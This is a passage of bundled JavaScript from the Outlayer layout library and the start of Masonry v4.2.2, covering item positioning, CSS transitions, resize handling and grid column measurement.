for ( var prop in obj ) {
return false;
}
prop = null;
return true;
}
// -------------------------- CSS3 support -------------------------- //
var docElemStyle = document.documentElement.style;
var transitionProperty = typeof docElemStyle.transition == 'string' ?
'transition' : 'WebkitTransition';
var transformProperty = typeof docElemStyle.transform == 'string' ?
'transform' : 'WebkitTransform';
var transitionEndEvent = {
WebkitTransition: 'webkitTransitionEnd',
transition: 'transitionend'
}[ transitionProperty ];
// cache all vendor properties that could have vendor prefix
var vendorProperties = {
transform: transformProperty,
transition: transitionProperty,
transitionDuration: transitionProperty + 'Duration',
transitionProperty: transitionProperty + 'Property',
transitionDelay: transitionProperty + 'Delay'
};
// -------------------------- Item -------------------------- //
function Item( element, layout ) {
if ( !element ) {
return;
}
this.element = element;
// parent layout class, i.e. Masonry, Isotope, or Packery
this.layout = layout;
this.position = {
x: 0,
y: 0
};
this._create();
}
// inherit EvEmitter
var proto = Item.prototype = Object.create( EvEmitter.prototype );
proto.constructor = Item;
proto._create = function() {
// transition objects
this._transn = {
ingProperties: {},
clean: {},
onEnd: {}
};
this.css({
position: 'absolute'
});
};
// trigger specified handler for event type
proto.handleEvent = function( event ) {
var method = 'on' + event.type;
if ( this[ method ] ) {
this[ method ]( event );
}
};
proto.getSize = function() {
this.size = getSize( this.element );
};
/**
* apply CSS styles to element
* @param {Object} style
*/
proto.css = function( style ) {
var elemStyle = this.element.style;
for ( var prop in style ) {
// use vendor property if available
var supportedProp = vendorProperties[ prop ] || prop;
elemStyle[ supportedProp ] = style[ prop ];
}
};
// measure position, and sets it
proto.getPosition = function() {
var style = getComputedStyle( this.element );
var isOriginLeft = this.layout._getOption('originLeft');
var isOriginTop = this.layout._getOption('originTop');
var xValue = style[ isOriginLeft ? 'left' : 'right' ];
var yValue = style[ isOriginTop ? 'top' : 'bottom' ];
var x = parseFloat( xValue );
var y = parseFloat( yValue );
// convert percent to pixels
var layoutSize = this.layout.size;
if ( xValue.indexOf('%') != -1 ) {
x = ( x / 100 ) * layoutSize.width;
}
if ( yValue.indexOf('%') != -1 ) {
y = ( y / 100 ) * layoutSize.height;
}
// clean up 'auto' or other non-integer values
x = isNaN( x ) ? 0 : x;
y = isNaN( y ) ? 0 : y;
// remove padding from measurement
x -= isOriginLeft ? layoutSize.paddingLeft : layoutSize.paddingRight;
y -= isOriginTop ? layoutSize.paddingTop : layoutSize.paddingBottom;
this.position.x = x;
this.position.y = y;
};
// set settled position, apply padding
proto.layoutPosition = function() {
var layoutSize = this.layout.size;
var style = {};
var isOriginLeft = this.layout._getOption('originLeft');
var isOriginTop = this.layout._getOption('originTop');
// x
var xPadding = isOriginLeft ? 'paddingLeft' : 'paddingRight';
var xProperty = isOriginLeft ? 'left' : 'right';
var xResetProperty = isOriginLeft ? 'right' : 'left';
var x = this.position.x + layoutSize[ xPadding ];
// set in percentage or pixels
style[ xProperty ] = this.getXValue( x );
// reset other property
style[ xResetProperty ] = '';
// y
var yPadding = isOriginTop ? 'paddingTop' : 'paddingBottom';
var yProperty = isOriginTop ? 'top' : 'bottom';
var yResetProperty = isOriginTop ? 'bottom' : 'top';
var y = this.position.y + layoutSize[ yPadding ];
// set in percentage or pixels
style[ yProperty ] = this.getYValue( y );
// reset other property
style[ yResetProperty ] = '';
this.css( style );
this.emitEvent( 'layout', [ this ] );
};
proto.getXValue = function( x ) {
var isHorizontal = this.layout._getOption('horizontal');
return this.layout.options.percentPosition && !isHorizontal ?
( ( x / this.layout.size.width ) * 100 ) + '%' : x + 'px';
};
proto.getYValue = function( y ) {
var isHorizontal = this.layout._getOption('horizontal');
return this.layout.options.percentPosition && isHorizontal ?
( ( y / this.layout.size.height ) * 100 ) + '%' : y + 'px';
};
proto._transitionTo = function( x, y ) {
this.getPosition();
// get current x & y from top/left
var curX = this.position.x;
var curY = this.position.y;
var didNotMove = x == this.position.x && y == this.position.y;
// save end position
this.setPosition( x, y );
// if did not move and not transitioning, just go to layout
if ( didNotMove && !this.isTransitioning ) {
this.layoutPosition();
return;
}
var transX = x - curX;
var transY = y - curY;
var transitionStyle = {};
transitionStyle.transform = this.getTranslate( transX, transY );
this.transition({
to: transitionStyle,
onTransitionEnd: {
transform: this.layoutPosition
},
isCleaning: true
});
};
proto.getTranslate = function( x, y ) {
// flip cooridinates if origin on right or bottom
var isOriginLeft = this.layout._getOption('originLeft');
var isOriginTop = this.layout._getOption('originTop');
x = isOriginLeft ? x : -x;
y = isOriginTop ? y : -y;
return 'translate3d(' + x + 'px, ' + y + 'px, 0)';
};
// non transition + transform support
proto.goTo = function( x, y ) {
this.setPosition( x, y );
this.layoutPosition();
};
proto.moveTo = proto._transitionTo;
proto.setPosition = function( x, y ) {
this.position.x = parseFloat( x );
this.position.y = parseFloat( y );
};
// ----- transition ----- //
/**
* @param {Object} style - CSS
* @param {Function} onTransitionEnd
*/
// non transition, just trigger callback
proto._nonTransition = function( args ) {
this.css( args.to );
if ( args.isCleaning ) {
this._removeStyles( args.to );
}
for ( var prop in args.onTransitionEnd ) {
args.onTransitionEnd[ prop ].call( this );
}
};
/**
* proper transition
* @param {Object} args - arguments
* @param {Object} to - style to transition to
* @param {Object} from - style to start transition from
* @param {Boolean} isCleaning - removes transition styles after transition
* @param {Function} onTransitionEnd - callback
*/
proto.transition = function( args ) {
// redirect to nonTransition if no transition duration
if ( !parseFloat( this.layout.options.transitionDuration ) ) {
this._nonTransition( args );
return;
}
var _transition = this._transn;
// keep track of onTransitionEnd callback by css property
for ( var prop in args.onTransitionEnd ) {
_transition.onEnd[ prop ] = args.onTransitionEnd[ prop ];
}
// keep track of properties that are transitioning
for ( prop in args.to ) {
_transition.ingProperties[ prop ] = true;
// keep track of properties to clean up when transition is done
if ( args.isCleaning ) {
_transition.clean[ prop ] = true;
}
}
// set from styles
if ( args.from ) {
this.css( args.from );
// force redraw. http://blog.alexmaccaw.com/css-transitions
var h = this.element.offsetHeight;
// hack for JSHint to hush about unused var
h = null;
}
// enable transition
this.enableTransition( args.to );
// set styles that are transitioning
this.css( args.to );
this.isTransitioning = true;
};
// dash before all cap letters, including first for
// WebkitTransform => -webkit-transform
function toDashedAll( str ) {
return str.replace( /([A-Z])/g, function( $1 ) {
return '-' + $1.toLowerCase();
});
}
var transitionProps = 'opacity,' + toDashedAll( transformProperty );
proto.enableTransition = function(/* style */) {
// HACK changing transitionProperty during a transition
// will cause transition to jump
if ( this.isTransitioning ) {
return;
}
// make `transition: foo, bar, baz` from style object
// HACK un-comment this when enableTransition can work
// while a transition is happening
// var transitionValues = [];
// for ( var prop in style ) {
// // dash-ify camelCased properties like WebkitTransition
// prop = vendorProperties[ prop ] || prop;
// transitionValues.push( toDashedAll( prop ) );
// }
// munge number to millisecond, to match stagger
var duration = this.layout.options.transitionDuration;
duration = typeof duration == 'number' ? duration + 'ms' : duration;
// enable transition styles
this.css({
transitionProperty: transitionProps,
transitionDuration: duration,
transitionDelay: this.staggerDelay || 0
});
// listen for transition end event
this.element.addEventListener( transitionEndEvent, this, false );
};
// ----- events ----- //
proto.onwebkitTransitionEnd = function( event ) {
this.ontransitionend( event );
};
proto.onotransitionend = function( event ) {
this.ontransitionend( event );
};
// properties that I munge to make my life easier
var dashedVendorProperties = {
'-webkit-transform': 'transform'
};
proto.ontransitionend = function( event ) {
// disregard bubbled events from children
if ( event.target !== this.element ) {
return;
}
var _transition = this._transn;
// get property name of transitioned property, convert to prefix-free
var propertyName = dashedVendorProperties[ event.propertyName ] || event.propertyName;
// remove property that has completed transitioning
delete _transition.ingProperties[ propertyName ];
// check if any properties are still transitioning
if ( isEmptyObj( _transition.ingProperties ) ) {
// all properties have completed transitioning
this.disableTransition();
}
// clean style
if ( propertyName in _transition.clean ) {
// clean up style
this.element.style[ event.propertyName ] = '';
delete _transition.clean[ propertyName ];
}
// trigger onTransitionEnd callback
if ( propertyName in _transition.onEnd ) {
var onTransitionEnd = _transition.onEnd[ propertyName ];
onTransitionEnd.call( this );
delete _transition.onEnd[ propertyName ];
}
this.emitEvent( 'transitionEnd', [ this ] );
};
proto.disableTransition = function() {
this.removeTransitionStyles();
this.element.removeEventListener( transitionEndEvent, this, false );
this.isTransitioning = false;
};
/**
* removes style property from element
* @param {Object} style
**/
proto._removeStyles = function( style ) {
// clean up transition styles
var cleanStyle = {};
for ( var prop in style ) {
cleanStyle[ prop ] = '';
}
this.css( cleanStyle );
};
var cleanTransitionStyle = {
transitionProperty: '',
transitionDuration: '',
transitionDelay: ''
};
proto.removeTransitionStyles = function() {
// remove transition
this.css( cleanTransitionStyle );
};
// ----- stagger ----- //
proto.stagger = function( delay ) {
delay = isNaN( delay ) ? 0 : delay;
this.staggerDelay = delay + 'ms';
};
// ----- show/hide/remove ----- //
// remove element from DOM
proto.removeElem = function() {
this.element.parentNode.removeChild( this.element );
// remove display: none
this.css({ display: '' });
this.emitEvent( 'remove', [ this ] );
};
proto.remove = function() {
// just remove element if no transition support or no transition
if ( !transitionProperty || !parseFloat( this.layout.options.transitionDuration ) ) {
this.removeElem();
return;
}
// start transition
this.once( 'transitionEnd', function() {
this.removeElem();
});
this.hide();
};
proto.reveal = function() {
delete this.isHidden;
// remove display: none
this.css({ display: '' });
var options = this.layout.options;
var onTransitionEnd = {};
var transitionEndProperty = this.getHideRevealTransitionEndProperty('visibleStyle');
onTransitionEnd[ transitionEndProperty ] = this.onRevealTransitionEnd;
this.transition({
from: options.hiddenStyle,
to: options.visibleStyle,
isCleaning: true,
onTransitionEnd: onTransitionEnd
});
};
proto.onRevealTransitionEnd = function() {
// check if still visible
// during transition, item may have been hidden
if ( !this.isHidden ) {
this.emitEvent('reveal');
}
};
/**
* get style property use for hide/reveal transition end
* @param {String} styleProperty - hiddenStyle/visibleStyle
* @returns {String}
*/
proto.getHideRevealTransitionEndProperty = function( styleProperty ) {
var optionStyle = this.layout.options[ styleProperty ];
// use opacity
if ( optionStyle.opacity ) {
return 'opacity';
}
// get first property
for ( var prop in optionStyle ) {
return prop;
}
};
proto.hide = function() {
// set flag
this.isHidden = true;
// remove display: none
this.css({ display: '' });
var options = this.layout.options;
var onTransitionEnd = {};
var transitionEndProperty = this.getHideRevealTransitionEndProperty('hiddenStyle');
onTransitionEnd[ transitionEndProperty ] = this.onHideTransitionEnd;
this.transition({
from: options.visibleStyle,
to: options.hiddenStyle,
// keep hidden stuff hidden
isCleaning: true,
onTransitionEnd: onTransitionEnd
});
};
proto.onHideTransitionEnd = function() {
// check if still hidden
// during transition, item may have been un-hidden
if ( this.isHidden ) {
this.css({ display: 'none' });
this.emitEvent('hide');
}
};
proto.destroy = function() {
this.css({
position: '',
left: '',
right: '',
top: '',
bottom: '',
transition: '',
transform: ''
});
};
return Item;
}));
/*!
* Outlayer v2.1.1
* the brains and guts of a layout library
* MIT license
*/
( function( window, factory ) {
'use strict';
// universal module definition
/* jshint strict: false */ /* globals define, module, require */
if ( typeof define == 'function' && define.amd ) {
// AMD - RequireJS
define( 'outlayer/outlayer',[
'ev-emitter/ev-emitter',
'get-size/get-size',
'fizzy-ui-utils/utils',
'./item'
],
function( EvEmitter, getSize, utils, Item ) {
return factory( window, EvEmitter, getSize, utils, Item);
}
);
} else if ( typeof module == 'object' && module.exports ) {
// CommonJS - Browserify, Webpack
module.exports = factory(
window,
require('ev-emitter'),
require('get-size'),
require('fizzy-ui-utils'),
require('./item')
);
} else {
// browser global
window.Outlayer = factory(
window,
window.EvEmitter,
window.getSize,
window.fizzyUIUtils,
window.Outlayer.Item
);
}
}( window, function factory( window, EvEmitter, getSize, utils, Item ) {
'use strict';
// ----- vars ----- //
var console = window.console;
var jQuery = window.jQuery;
var noop = function() {};
// -------------------------- Outlayer -------------------------- //
// globally unique identifiers
var GUID = 0;
// internal store of all Outlayer intances
var instances = {};
/**
* @param {Element, String} element
* @param {Object} options
* @constructor
*/
function Outlayer( element, options ) {
var queryElement = utils.getQueryElement( element );
if ( !queryElement ) {
if ( console ) {
console.error( 'Bad element for ' + this.constructor.namespace +
': ' + ( queryElement || element ) );
}
return;
}
this.element = queryElement;
// add jQuery
if ( jQuery ) {
this.$element = jQuery( this.element );
}
// options
this.options = utils.extend( {}, this.constructor.defaults );
this.option( options );
// add id for Outlayer.getFromElement
var id = ++GUID;
this.element.outlayerGUID = id; // expando
instances[ id ] = this; // associate via id
// kick it off
this._create();
var isInitLayout = this._getOption('initLayout');
if ( isInitLayout ) {
this.layout();
}
}
// settings are for internal use only
Outlayer.namespace = 'outlayer';
Outlayer.Item = Item;
// default options
Outlayer.defaults = {
containerStyle: {
position: 'relative'
},
initLayout: true,
originLeft: true,
originTop: true,
resize: true,
resizeContainer: true,
// item options
transitionDuration: '0.4s',
hiddenStyle: {
opacity: 0,
transform: 'scale(0.001)'
},
visibleStyle: {
opacity: 1,
transform: 'scale(1)'
}
};
var proto = Outlayer.prototype;
// inherit EvEmitter
utils.extend( proto, EvEmitter.prototype );
/**
* set options
* @param {Object} opts
*/
proto.option = function( opts ) {
utils.extend( this.options, opts );
};
/**
* get backwards compatible option value, check old name
*/
proto._getOption = function( option ) {
var oldOption = this.constructor.compatOptions[ option ];
return oldOption && this.options[ oldOption ] !== undefined ?
this.options[ oldOption ] : this.options[ option ];
};
Outlayer.compatOptions = {
// currentName: oldName
initLayout: 'isInitLayout',
horizontal: 'isHorizontal',
layoutInstant: 'isLayoutInstant',
originLeft: 'isOriginLeft',
originTop: 'isOriginTop',
resize: 'isResizeBound',
resizeContainer: 'isResizingContainer'
};
proto._create = function() {
// get items from children
this.reloadItems();
// elements that affect layout, but are not laid out
this.stamps = [];
this.stamp( this.options.stamp );
// set container style
utils.extend( this.element.style, this.options.containerStyle );
// bind resize method
var canBindResize = this._getOption('resize');
if ( canBindResize ) {
this.bindResize();
}
};
// goes through all children again and gets bricks in proper order
proto.reloadItems = function() {
// collection of item elements
this.items = this._itemize( this.element.children );
};
/**
* turn elements into Outlayer.Items to be used in layout
* @param {Array or NodeList or HTMLElement} elems
* @returns {Array} items - collection of new Outlayer Items
*/
proto._itemize = function( elems ) {
var itemElems = this._filterFindItemElements( elems );
var Item = this.constructor.Item;
// create new Outlayer Items for collection
var items = [];
for ( var i=0; i < itemElems.length; i++ ) {
var elem = itemElems[i];
var item = new Item( elem, this );
items.push( item );
}
return items;
};
/**
* get item elements to be used in layout
* @param {Array or NodeList or HTMLElement} elems
* @returns {Array} items - item elements
*/
proto._filterFindItemElements = function( elems ) {
return utils.filterFindElements( elems, this.options.itemSelector );
};
/**
* getter method for getting item elements
* @returns {Array} elems - collection of item elements
*/
proto.getItemElements = function() {
return this.items.map( function( item ) {
return item.element;
});
};
// ----- init & layout ----- //
/**
* lays out all items
*/
proto.layout = function() {
this._resetLayout();
this._manageStamps();
// don't animate first layout
var layoutInstant = this._getOption('layoutInstant');
var isInstant = layoutInstant !== undefined ?
layoutInstant : !this._isLayoutInited;
this.layoutItems( this.items, isInstant );
// flag for initalized
this._isLayoutInited = true;
};
// _init is alias for layout
proto._init = proto.layout;
/**
* logic before any new layout
*/
proto._resetLayout = function() {
this.getSize();
};
proto.getSize = function() {
this.size = getSize( this.element );
};
/**
* get measurement from option, for columnWidth, rowHeight, gutter
* if option is String -> get element from selector string, & get size of element
* if option is Element -> get size of element
* else use option as a number
*
* @param {String} measurement
* @param {String} size - width or height
* @private
*/
proto._getMeasurement = function( measurement, size ) {
var option = this.options[ measurement ];
var elem;
if ( !option ) {
// default to 0
this[ measurement ] = 0;
} else {
// use option as an element
if ( typeof option == 'string' ) {
elem = this.element.querySelector( option );
} else if ( option instanceof HTMLElement ) {
elem = option;
}
// use size of element, if element
this[ measurement ] = elem ? getSize( elem )[ size ] : option;
}
};
/**
* layout a collection of item elements
* @api public
*/
proto.layoutItems = function( items, isInstant ) {
items = this._getItemsForLayout( items );
this._layoutItems( items, isInstant );
this._postLayout();
};
/**
* get the items to be laid out
* you may want to skip over some items
* @param {Array} items
* @returns {Array} items
*/
proto._getItemsForLayout = function( items ) {
return items.filter( function( item ) {
return !item.isIgnored;
});
};
/**
* layout items
* @param {Array} items
* @param {Boolean} isInstant
*/
proto._layoutItems = function( items, isInstant ) {
this._emitCompleteOnItems( 'layout', items );
if ( !items || !items.length ) {
// no items, emit event with empty array
return;
}
var queue = [];
items.forEach( function( item ) {
// get x/y object from method
var position = this._getItemLayoutPosition( item );
// enqueue
position.item = item;
position.isInstant = isInstant || item.isLayoutInstant;
queue.push( position );
}, this );
this._processLayoutQueue( queue );
};
/**
* get item layout position
* @param {Outlayer.Item} item
* @returns {Object} x and y position
*/
proto._getItemLayoutPosition = function( /* item */ ) {
return {
x: 0,
y: 0
};
};
/**
* iterate over array and position each item
* Reason being - separating this logic prevents 'layout invalidation'
* thx @paul_irish
* @param {Array} queue
*/
proto._processLayoutQueue = function( queue ) {
this.updateStagger();
queue.forEach( function( obj, i ) {
this._positionItem( obj.item, obj.x, obj.y, obj.isInstant, i );
}, this );
};
// set stagger from option in milliseconds number
proto.updateStagger = function() {
var stagger = this.options.stagger;
if ( stagger === null || stagger === undefined ) {
this.stagger = 0;
return;
}
this.stagger = getMilliseconds( stagger );
return this.stagger;
};
/**
* Sets position of item in DOM
* @param {Outlayer.Item} item
* @param {Number} x - horizontal position
* @param {Number} y - vertical position
* @param {Boolean} isInstant - disables transitions
*/
proto._positionItem = function( item, x, y, isInstant, i ) {
if ( isInstant ) {
// if not transition, just set CSS
item.goTo( x, y );
} else {
item.stagger( i * this.stagger );
item.moveTo( x, y );
}
};
/**
* Any logic you want to do after each layout,
* i.e. size the container
*/
proto._postLayout = function() {
this.resizeContainer();
};
proto.resizeContainer = function() {
var isResizingContainer = this._getOption('resizeContainer');
if ( !isResizingContainer ) {
return;
}
var size = this._getContainerSize();
if ( size ) {
this._setContainerMeasure( size.width, true );
this._setContainerMeasure( size.height, false );
}
};
/**
* Sets width or height of container if returned
* @returns {Object} size
* @param {Number} width
* @param {Number} height
*/
proto._getContainerSize = noop;
/**
* @param {Number} measure - size of width or height
* @param {Boolean} isWidth
*/
proto._setContainerMeasure = function( measure, isWidth ) {
if ( measure === undefined ) {
return;
}
var elemSize = this.size;
// add padding and border width if border box
if ( elemSize.isBorderBox ) {
measure += isWidth ? elemSize.paddingLeft + elemSize.paddingRight +
elemSize.borderLeftWidth + elemSize.borderRightWidth :
elemSize.paddingBottom + elemSize.paddingTop +
elemSize.borderTopWidth + elemSize.borderBottomWidth;
}
measure = Math.max( measure, 0 );
this.element.style[ isWidth ? 'width' : 'height' ] = measure + 'px';
};
/**
* emit eventComplete on a collection of items events
* @param {String} eventName
* @param {Array} items - Outlayer.Items
*/
proto._emitCompleteOnItems = function( eventName, items ) {
var _this = this;
function onComplete() {
_this.dispatchEvent( eventName + 'Complete', null, [ items ] );
}
var count = items.length;
if ( !items || !count ) {
onComplete();
return;
}
var doneCount = 0;
function tick() {
doneCount++;
if ( doneCount == count ) {
onComplete();
}
}
// bind callback
items.forEach( function( item ) {
item.once( eventName, tick );
});
};
/**
* emits events via EvEmitter and jQuery events
* @param {String} type - name of event
* @param {Event} event - original event
* @param {Array} args - extra arguments
*/
proto.dispatchEvent = function( type, event, args ) {
// add original event to arguments
var emitArgs = event ? [ event ].concat( args ) : args;
this.emitEvent( type, emitArgs );
if ( jQuery ) {
// set this.$element
this.$element = this.$element || jQuery( this.element );
if ( event ) {
// create jQuery event
var $event = jQuery.Event( event );
$event.type = type;
this.$element.trigger( $event, args );
} else {
// just trigger with type if no event available
this.$element.trigger( type, args );
}
}
};
// -------------------------- ignore & stamps -------------------------- //
/**
* keep item in collection, but do not lay it out
* ignored items do not get skipped in layout
* @param {Element} elem
*/
proto.ignore = function( elem ) {
var item = this.getItem( elem );
if ( item ) {
item.isIgnored = true;
}
};
/**
* return item to layout collection
* @param {Element} elem
*/
proto.unignore = function( elem ) {
var item = this.getItem( elem );
if ( item ) {
delete item.isIgnored;
}
};
/**
* adds elements to stamps
* @param {NodeList, Array, Element, or String} elems
*/
proto.stamp = function( elems ) {
elems = this._find( elems );
if ( !elems ) {
return;
}
this.stamps = this.stamps.concat( elems );
// ignore
elems.forEach( this.ignore, this );
};
/**
* removes elements to stamps
* @param {NodeList, Array, or Element} elems
*/
proto.unstamp = function( elems ) {
elems = this._find( elems );
if ( !elems ){
return;
}
elems.forEach( function( elem ) {
// filter out removed stamp elements
utils.removeFrom( this.stamps, elem );
this.unignore( elem );
}, this );
};
/**
* finds child elements
* @param {NodeList, Array, Element, or String} elems
* @returns {Array} elems
*/
proto._find = function( elems ) {
if ( !elems ) {
return;
}
// if string, use argument as selector string
if ( typeof elems == 'string' ) {
elems = this.element.querySelectorAll( elems );
}
elems = utils.makeArray( elems );
return elems;
};
proto._manageStamps = function() {
if ( !this.stamps || !this.stamps.length ) {
return;
}
this._getBoundingRect();
this.stamps.forEach( this._manageStamp, this );
};
// update boundingLeft / Top
proto._getBoundingRect = function() {
// get bounding rect for container element
var boundingRect = this.element.getBoundingClientRect();
var size = this.size;
this._boundingRect = {
left: boundingRect.left + size.paddingLeft + size.borderLeftWidth,
top: boundingRect.top + size.paddingTop + size.borderTopWidth,
right: boundingRect.right - ( size.paddingRight + size.borderRightWidth ),
bottom: boundingRect.bottom - ( size.paddingBottom + size.borderBottomWidth )
};
};
/**
* @param {Element} stamp
**/
proto._manageStamp = noop;
/**
* get x/y position of element relative to container element
* @param {Element} elem
* @returns {Object} offset - has left, top, right, bottom
*/
proto._getElementOffset = function( elem ) {
var boundingRect = elem.getBoundingClientRect();
var thisRect = this._boundingRect;
var size = getSize( elem );
var offset = {
left: boundingRect.left - thisRect.left - size.marginLeft,
top: boundingRect.top - thisRect.top - size.marginTop,
right: thisRect.right - boundingRect.right - size.marginRight,
bottom: thisRect.bottom - boundingRect.bottom - size.marginBottom
};
return offset;
};
// -------------------------- resize -------------------------- //
// enable event handlers for listeners
// i.e. resize -> onresize
proto.handleEvent = utils.handleEvent;
/**
* Bind layout to window resizing
*/
proto.bindResize = function() {
window.addEventListener( 'resize', this );
this.isResizeBound = true;
};
/**
* Unbind layout to window resizing
*/
proto.unbindResize = function() {
window.removeEventListener( 'resize', this );
this.isResizeBound = false;
};
proto.onresize = function() {
this.resize();
};
utils.debounceMethod( Outlayer, 'onresize', 100 );
proto.resize = function() {
// don't trigger if size did not change
// or if resize was unbound. See #9
if ( !this.isResizeBound || !this.needsResizeLayout() ) {
return;
}
this.layout();
};
/**
* check if layout is needed post layout
* @returns Boolean
*/
proto.needsResizeLayout = function() {
var size = getSize( this.element );
// check that this.size and size are there
// IE8 triggers resize on body size change, so they might not be
var hasSizes = this.size && size;
return hasSizes && size.innerWidth !== this.size.innerWidth;
};
// -------------------------- methods -------------------------- //
/**
* add items to Outlayer instance
* @param {Array or NodeList or Element} elems
* @returns {Array} items - Outlayer.Items
**/
proto.addItems = function( elems ) {
var items = this._itemize( elems );
// add items to collection
if ( items.length ) {
this.items = this.items.concat( items );
}
return items;
};
/**
* Layout newly-appended item elements
* @param {Array or NodeList or Element} elems
*/
proto.appended = function( elems ) {
var items = this.addItems( elems );
if ( !items.length ) {
return;
}
// layout and reveal just the new items
this.layoutItems( items, true );
this.reveal( items );
};
/**
* Layout prepended elements
* @param {Array or NodeList or Element} elems
*/
proto.prepended = function( elems ) {
var items = this._itemize( elems );
if ( !items.length ) {
return;
}
// add items to beginning of collection
var previousItems = this.items.slice(0);
this.items = items.concat( previousItems );
// start new layout
this._resetLayout();
this._manageStamps();
// layout new stuff without transition
this.layoutItems( items, true );
this.reveal( items );
// layout previous items
this.layoutItems( previousItems );
};
/**
* reveal a collection of items
* @param {Array of Outlayer.Items} items
*/
proto.reveal = function( items ) {
this._emitCompleteOnItems( 'reveal', items );
if ( !items || !items.length ) {
return;
}
var stagger = this.updateStagger();
items.forEach( function( item, i ) {
item.stagger( i * stagger );
item.reveal();
});
};
/**
* hide a collection of items
* @param {Array of Outlayer.Items} items
*/
proto.hide = function( items ) {
this._emitCompleteOnItems( 'hide', items );
if ( !items || !items.length ) {
return;
}
var stagger = this.updateStagger();
items.forEach( function( item, i ) {
item.stagger( i * stagger );
item.hide();
});
};
/**
* reveal item elements
* @param {Array}, {Element}, {NodeList} items
*/
proto.revealItemElements = function( elems ) {
var items = this.getItems( elems );
this.reveal( items );
};
/**
* hide item elements
* @param {Array}, {Element}, {NodeList} items
*/
proto.hideItemElements = function( elems ) {
var items = this.getItems( elems );
this.hide( items );
};
/**
* get Outlayer.Item, given an Element
* @param {Element} elem
* @param {Function} callback
* @returns {Outlayer.Item} item
*/
proto.getItem = function( elem ) {
// loop through items to get the one that matches
for ( var i=0; i < this.items.length; i++ ) {
var item = this.items[i];
if ( item.element == elem ) {
// return item
return item;
}
}
};
/**
* get collection of Outlayer.Items, given Elements
* @param {Array} elems
* @returns {Array} items - Outlayer.Items
*/
proto.getItems = function( elems ) {
elems = utils.makeArray( elems );
var items = [];
elems.forEach( function( elem ) {
var item = this.getItem( elem );
if ( item ) {
items.push( item );
}
}, this );
return items;
};
/**
* remove element(s) from instance and DOM
* @param {Array or NodeList or Element} elems
*/
proto.remove = function( elems ) {
var removeItems = this.getItems( elems );
this._emitCompleteOnItems( 'remove', removeItems );
// bail if no items to remove
if ( !removeItems || !removeItems.length ) {
return;
}
removeItems.forEach( function( item ) {
item.remove();
// remove item from collection
utils.removeFrom( this.items, item );
}, this );
};
// ----- destroy ----- //
// remove and disable Outlayer instance
proto.destroy = function() {
// clean up dynamic styles
var style = this.element.style;
style.height = '';
style.position = '';
style.width = '';
// destroy items
this.items.forEach( function( item ) {
item.destroy();
});
this.unbindResize();
var id = this.element.outlayerGUID;
delete instances[ id ]; // remove reference to instance by id
delete this.element.outlayerGUID;
// remove data for jQuery
if ( jQuery ) {
jQuery.removeData( this.element, this.constructor.namespace );
}
};
// -------------------------- data -------------------------- //
/**
* get Outlayer instance from element
* @param {Element} elem
* @returns {Outlayer}
*/
Outlayer.data = function( elem ) {
elem = utils.getQueryElement( elem );
var id = elem && elem.outlayerGUID;
return id && instances[ id ];
};
// -------------------------- create Outlayer class -------------------------- //
/**
* create a layout class
* @param {String} namespace
*/
Outlayer.create = function( namespace, options ) {
// sub-class Outlayer
var Layout = subclass( Outlayer );
// apply new options and compatOptions
Layout.defaults = utils.extend( {}, Outlayer.defaults );
utils.extend( Layout.defaults, options );
Layout.compatOptions = utils.extend( {}, Outlayer.compatOptions );
Layout.namespace = namespace;
Layout.data = Outlayer.data;
// sub-class Item
Layout.Item = subclass( Item );
// -------------------------- declarative -------------------------- //
utils.htmlInit( Layout, namespace );
// -------------------------- jQuery bridge -------------------------- //
// make into jQuery plugin
if ( jQuery && jQuery.bridget ) {
jQuery.bridget( namespace, Layout );
}
return Layout;
};
function subclass( Parent ) {
function SubClass() {
Parent.apply( this, arguments );
}
SubClass.prototype = Object.create( Parent.prototype );
SubClass.prototype.constructor = SubClass;
return SubClass;
}
// ----- helpers ----- //
// how many milliseconds are in each unit
var msUnits = {
ms: 1,
s: 1000
};
// munge time-like parameter into millisecond number
// '0.4s' -> 40
function getMilliseconds( time ) {
if ( typeof time == 'number' ) {
return time;
}
var matches = time.match( /(^\d*\.?\d*)(\w*)/ );
var num = matches && matches[1];
var unit = matches && matches[2];
if ( !num.length ) {
return 0;
}
num = parseFloat( num );
var mult = msUnits[ unit ] || 1;
return num * mult;
}
// ----- fin ----- //
// back in global
Outlayer.Item = Item;
return Outlayer;
}));
/*!
* Masonry v4.2.2
* Cascading grid layout library
* https://masonry.desandro.com
* MIT License
* by David DeSandro
*/
( function( window, factory ) {
// universal module definition
/* jshint strict: false */ /*globals define, module, require */
if ( typeof define == 'function' && define.amd ) {
// AMD
define( [
'outlayer/outlayer',
'get-size/get-size'
],
factory );
} else if ( typeof module == 'object' && module.exports ) {
// CommonJS
module.exports = factory(
require('outlayer'),
require('get-size')
);
} else {
// browser global
window.Masonry = factory(
window.Outlayer,
window.getSize
);
}
}( window, function factory( Outlayer, getSize ) {
// -------------------------- masonryDefinition -------------------------- //
// create an Outlayer layout class
var Masonry = Outlayer.create('masonry');
// isFitWidth -> fitWidth
Masonry.compatOptions.fitWidth = 'isFitWidth';
var proto = Masonry.prototype;
proto._resetLayout = function() {
this.getSize();
this._getMeasurement( 'columnWidth', 'outerWidth' );
this._getMeasurement( 'gutter', 'outerWidth' );
this.measureColumns();
// reset column Y
this.colYs = [];
for ( var i=0; i < this.cols; i++ ) {
this.colYs.push( 0 );
}
this.maxY = 0;
this.horizontalColIndex = 0;
};
proto.measureColumns = function() {
this.getContainerWidth();
// if columnWidth is 0, default to outerWidth of first item
if ( !this.columnWidth ) {
var firstItem = this.items[0];
var firstItemElem = firstItem && firstItem.element;
// columnWidth fall back to item of first element
this.columnWidth = firstItemElem && getSize( firstItemElem ).outerWidth ||
// if first elem has no width, default to size of container
this.containerWidth;
}
var columnWidth = this.columnWidth += this.gutter;
// calculate columns
var containerWidth = this.containerWidth + this.gutter;
var cols = containerWidth / columnWidth;
// fix rounding errors, typically with gutters
var excess = columnWidth - containerWidth % columnWidth;
// if overshoot is less than a pixel, round up, otherwise floor it
var mathMethod = excess && excess < 1 ? 'round' : 'floor';
cols = Math[ mathMethod ]( cols );
this.cols = Math.max( cols, 1 );
};
proto.getContainerWidth = function() {
// container is parent if fit width
var isFitWidth = this._getOption('fitWidth');
var container = isFitWidth ? this.element.parentNode : this.element;
// check that this.size and size are there
// IE8 triggers resize on body size change, so they might not be
var size = getSize( container );
this.containerWidth = size && size.innerWidth;
};
proto._getItemLayoutPosition = function( item ) {
item.getSize();
// how many columns does this brick span
var remainder = item.size.outerWidth % this.columnWidth;
var mathMethod = remainder && remainder < 1 ? 'round' : 'ceil';
// round if off by 1 pixel, otherwise use ceil
